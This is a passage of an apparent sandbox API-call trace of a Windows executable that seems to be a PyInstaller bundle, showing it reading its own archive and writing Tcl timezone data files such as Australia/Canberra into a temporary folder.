lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.946] GetFileType (hFile=0x10c) returned 0x1 [0040.946] htonl (hostlong=0x586a5b00) returned 0x5b6a58 [0040.946] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x601a58, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.946] htonl (hostlong=0x8c000000) returned 0x8c [0040.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0040.946] htonl (hostlong=0x8c000000) returned 0x8c [0040.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.946] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.946] htonl (hostlong=0xbe000000) returned 0xbe [0040.946] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe) returned 0x55dfe0 [0040.946] htonl (hostlong=0x8c000000) returned 0x8c [0040.946] htonl (hostlong=0xbe000000) returned 0xbe [0040.947] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.947] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.947] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.947] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.947] CloseHandle (hObject=0x10c) returned 1 [0040.947] GetLastError () returned 0x0 [0040.947] SetLastError (dwErrCode=0x0) [0040.947] GetLastError () returned 0x0 [0040.947] SetLastError (dwErrCode=0x0) [0040.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.947] GetFileType (hFile=0x10c) returned 0x1 [0040.947] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.947] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.947] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.947] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.947] CloseHandle (hObject=0x10c) returned 1 [0040.947] GetLastError () returned 0x0 [0040.947] SetLastError (dwErrCode=0x0) [0040.947] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.948] GetFileType (hFile=0x10c) returned 0x1 [0040.948] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.948] CloseHandle (hObject=0x10c) returned 1 [0040.948] GetLastError () returned 0x0 [0040.948] SetLastError (dwErrCode=0x0) [0040.948] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.948] GetFileType (hFile=0x10c) returned 0x1 [0040.948] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.948] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.948] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.948] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.949] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.949] CloseHandle (hObject=0x10c) returned 1 [0040.949] GetLastError () returned 0x0 [0040.949] SetLastError (dwErrCode=0x0) [0040.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Canberra") returned 75 [0040.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Canberra" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\canberra"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.949] GetLastError () returned 0x2 [0040.949] SetLastError (dwErrCode=0x2) [0040.949] GetLastError () returned 0x2 [0040.949] SetLastError (dwErrCode=0x2) [0040.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Canberra", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Canberra", lpFilePart=0x0) returned 0x4a [0040.949] GetLastError () returned 0x2 [0040.949] SetLastError (dwErrCode=0x2) [0040.949] GetLastError () returned 0x2 [0040.949] SetLastError (dwErrCode=0x2) [0040.949] GetLastError () returned 0x2 [0040.949] SetLastError (dwErrCode=0x2) [0040.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Canberra") returned 75 [0040.949] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Canberra" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\canberra"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.952] GetFileType (hFile=0x10c) returned 0x1 [0040.952] htonl (hostlong=0xbe000000) returned 0xbe [0040.952] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.952] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbe, lpOverlapped=0x0) returned 1 [0040.953] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.953] CloseHandle (hObject=0x10c) returned 1 [0040.956] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dfe0 | out: hHeap=0x530000) returned 1 [0040.956] htonl (hostlong=0x30000000) returned 0x30 [0040.956] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.956] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.956] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.957] GetFileType (hFile=0x10c) returned 0x1 [0040.957] htonl (hostlong=0xe46a5b00) returned 0x5b6ae4 [0040.957] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x601ae4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.957] htonl (hostlong=0x27060000) returned 0x627 [0040.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x627) returned 0x550600 [0040.957] htonl (hostlong=0x27060000) returned 0x627 [0040.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.957] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.957] htonl (hostlong=0x951e0000) returned 0x1e95 [0040.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e95) returned 0x561090 [0040.957] htonl (hostlong=0x27060000) returned 0x627 [0040.957] htonl (hostlong=0x951e0000) returned 0x1e95 [0040.957] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f30 [0040.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f30 | out: hHeap=0x530000) returned 1 [0040.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.957] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.957] CloseHandle (hObject=0x10c) returned 1 [0040.957] GetLastError () returned 0x0 [0040.957] SetLastError (dwErrCode=0x0) [0040.957] GetLastError () returned 0x0 [0040.957] SetLastError (dwErrCode=0x0) [0040.957] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.957] GetFileType (hFile=0x10c) returned 0x1 [0040.958] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.958] CloseHandle (hObject=0x10c) returned 1 [0040.958] GetLastError () returned 0x0 [0040.958] SetLastError (dwErrCode=0x0) [0040.958] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.958] GetFileType (hFile=0x10c) returned 0x1 [0040.958] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.958] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.958] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.958] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.958] CloseHandle (hObject=0x10c) returned 1 [0040.959] GetLastError () returned 0x0 [0040.959] SetLastError (dwErrCode=0x0) [0040.959] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0040.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.959] GetFileType (hFile=0x10c) returned 0x1 [0040.959] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.959] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.959] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.959] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.959] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.959] CloseHandle (hObject=0x10c) returned 1 [0040.959] GetLastError () returned 0x0 [0040.959] SetLastError (dwErrCode=0x0) [0040.959] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Currie") returned 73 [0040.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Currie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\currie"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.959] GetLastError () returned 0x2 [0040.959] SetLastError (dwErrCode=0x2) [0040.959] GetLastError () returned 0x2 [0040.959] SetLastError (dwErrCode=0x2) [0040.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Currie", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Currie", lpFilePart=0x0) returned 0x48 [0040.959] GetLastError () returned 0x2 [0040.959] SetLastError (dwErrCode=0x2) [0040.959] GetLastError () returned 0x2 [0040.960] SetLastError (dwErrCode=0x2) [0040.960] GetLastError () returned 0x2 [0040.960] SetLastError (dwErrCode=0x2) [0040.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Currie") returned 73 [0040.960] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Currie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\currie"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.960] GetFileType (hFile=0x10c) returned 0x1 [0040.960] htonl (hostlong=0x951e0000) returned 0x1e95 [0040.960] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.961] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.961] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe95, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe95, lpOverlapped=0x0) returned 1 [0040.961] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.961] CloseHandle (hObject=0x10c) returned 1 [0040.961] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.961] htonl (hostlong=0x30000000) returned 0x30 [0040.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.961] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.962] GetFileType (hFile=0x10c) returned 0x1 [0040.962] htonl (hostlong=0xb715b00) returned 0x5b710b [0040.962] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60210b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.962] htonl (hostlong=0xcc000000) returned 0xcc [0040.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcc) returned 0x546790 [0040.962] htonl (hostlong=0xcc000000) returned 0xcc [0040.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.962] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.962] htonl (hostlong=0x9c010000) returned 0x19c [0040.962] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19c) returned 0x550600 [0040.962] htonl (hostlong=0xcc000000) returned 0xcc [0040.962] htonl (hostlong=0x9c010000) returned 